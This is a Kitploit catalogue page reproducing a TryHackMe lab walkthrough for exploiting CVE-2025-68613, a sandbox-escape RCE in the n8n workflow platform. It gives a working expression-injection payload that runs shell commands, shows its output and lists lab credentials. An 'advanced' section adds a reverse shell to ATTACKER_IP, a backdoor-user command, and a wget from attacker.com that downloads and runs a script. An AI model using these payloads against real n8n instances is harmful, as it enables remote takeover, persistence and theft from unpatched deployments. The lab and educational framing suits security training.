Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
n8n-cve-2025-68613-thm — # Пошаговое руководство по эксплуатации CVE-2025-68613 — критическая RCE в n8n workflow automation Охватывает внедрение выражений, обход песочницы, разработку полезной нагрузки и стратегии обнаружения через лабораторию TryHackMe. | Kitploit
Инструменты/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и ОбразованиеРеагирование на ИнцидентыРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

# Пошаговое руководство по эксплуатации CVE-2025-68613 — критическая RCE в n8n workflow automation Охватывает внедрение выражений, обход песочницы, разработку полезной нагрузки и стратегии обнаружения через лабораторию TryHackMe.

Репозиторий
1119 месяцев назадЕщё не проверено

CVE-2025-68613 – Эксплуатация критической RCE-уязвимости в n8n

Обзор

В этом репозитории задокументирована практическая эксплуатация CVE-2025-68613 (CVSS 9.9) — критической уязвимости удалённого выполнения кода (RCE), затрагивающей платформу автоматизации рабочих процессов n8n (версии с 0.211.0 по 1.120.3).

Эксплуатация выполнена этично, в контролируемой лабораторной среде TryHackMe, исключительно в образовательных целях.


Сводка об уязвимости

ПолеЗначение
CVE IDCVE-2025-68613
Оценка CVSS9.9 (критическая)
Опубликовано19 декабря 2025 г.
Затронутый продуктПлатформа автоматизации рабочих процессов n8n
Тип уязвимостиИнъекция выражений → Побег из песочницы → RCE
Вектор атакиАутентифицированный пользователь (по умолчанию)
Исправленные версии1.120.4, 1.121.1, 1.122.0+
Затронутые версии0.211.0 – 1.120.3

Что такое n8n?

n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям визуально связывать приложения и сервисы для автоматизации задач. Она включает:

  • Архитектура рабочих процессов на основе узлов: каждый узел представляет собой действие (API-запрос, обработку данных, отправку email и т.д.)
  • 400+ встроенных интеграций: готовые коннекторы к различным API и сервисам
  • Узлы кода: выполнение пользовательского кода на JavaScript или Python
  • Вычисление выражений: динамические выражения, заключённые в {{ }}, выполняются как JavaScript

Модели развёртывания

  • Самостоятельно размещённые экземпляры (on-premises или частное облако)
  • Облачный управляемый сервис (n8n.cloud)
  • Внутренние инструменты автоматизации в корпоративных сетях

Технические детали

Цепочка уязвимости

Уязвимость находится в системе вычисления выражений рабочих процессов n8n. Когда аутентифицированные пользователи настраивают рабочие процессы, их ввод обрабатывается как JavaScript-код без надлежащей изоляции в песочнице.

Цепочка повышения контекста

Expression Sandbox
    ↓ (escape via 'this')
Node.js Global Context
    ↓ (access mainModule)
Module System (require)
    ↓ (load child_process)
System Command Execution

Ключевые недостатки

  1. Небезопасное вычисление выражений: выражения пользователя, заключённые в {{ }}, выполняются как «сырой» JavaScript без должной изоляции контекста
  2. Побег из песочницы: доступ к объекту this позволяет обойти ограничения песочницы
  3. Неограниченный доступ к модулям: process.mainModule.require() предоставляет доступ к модульной системе Node.js
  4. Опасная загрузка модулей: позволяет загружать модуль child_process для выполнения системных команд
  5. Отсутствие надёжной аутентификационной защиты: любой аутентифицированный пользователь может воспользоваться уязвимостью

Разбор payload эксплойта

(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Пояснение:

  • this → глобальный объект Node.js
  • this.process → объект процесса Node.js
  • process.mainModule → корневой модуль приложения n8n
  • .require('child_process') → загрузка модуля выполнения системных команд
  • .execSync('COMMAND') → синхронное выполнение shell-команды
  • .toString() → преобразование вывода Buffer в читаемую строку

Пошаговая эксплуатация

Шаг 1: Аутентификация

Получите доступ к уязвимому экземпляру n8n и войдите в систему с действующими учётными данными.

Учётные данные лаборатории:

  • Email: [email protected]
  • Password: Try12345!

Экран входа


Шаг 2: Приветственный экран и создание рабочего процесса

После входа отображается интерфейс создания рабочего процесса. Нажмите «Start from scratch» («Начать с нуля»), чтобы создать новый рабочий процесс.

Приветственный экран


Шаг 3: Добавление ручного триггера

Нажмите «Add first step» («Добавить первый шаг») и найдите «Manual Trigger» («Ручной триггер»). Этот узел служит точкой входа для выполнения рабочего процесса.

Настройка ручного триггера

Назначение: узел Manual Trigger позволяет запускать рабочий процесс вручную с помощью кнопки «Execute workflow» («Выполнить рабочий процесс») в интерфейсе, что делает его идеальным для тестирования.


Шаг 4: Настройка рабочего процесса и добавление сопоставления полей

Добавьте узел «Edit Fields» («Редактировать поля»), чтобы выполнить сопоставление полей. Именно здесь эксплуатируется уязвимость.

Настройка рабочего процесса

Шаги настройки:

  1. Нажмите «Add field» («Добавить поле»), чтобы добавить новое сопоставление полей
  2. Установите режим «Expression» («Выражение»)
  3. Это позволяет выполнять вычисление JavaScript-кода

Шаг 5: Выполнение команды id

Внедрите payload для выполнения команды id и получения информации о пользователе и привилегиях.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Результат:

uid=1000(node) gid=1000(node) groups=1000(node)

Выполнение команды id

Полученная информация:

  • Запуск от имени непривилегированного пользователя (uid=1000)
  • Членство в группе (gid=1000)
  • Потенциальные пути повышения привилегий

Шаг 6: Перечисление файловой системы с помощью ls

Измените payload для выполнения команды ls и вывода содержимого каталога.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Выполнение команды ls

Вывод показывает:

  • Наличие файла с флагом: flag.txt
  • Структуру каталогов и права доступа к файлам
  • Дополнительные данные разведки

Шаг 7: Извлечение чувствительных данных

Прочитайте файл с флагом с помощью команды cat, чтобы завершить эксплуатацию.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Полученный флаг:

THM{n8n_exposed_workflow}

Извлечение флага


Продвинутые техники эксплуатации

1. Реверс-шелл (Reverse Shell)

Установите интерактивный доступ к shell для постоянного контроля:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Создание бэкдор-пользователя

Добавьте нового системного пользователя для постоянного доступа:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Загрузка вредоносного payload

Загрузите и выполните удалённый код:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Перечисление путей повышения привилегий

Проверьте привилегии sudo:

Скачать инструмент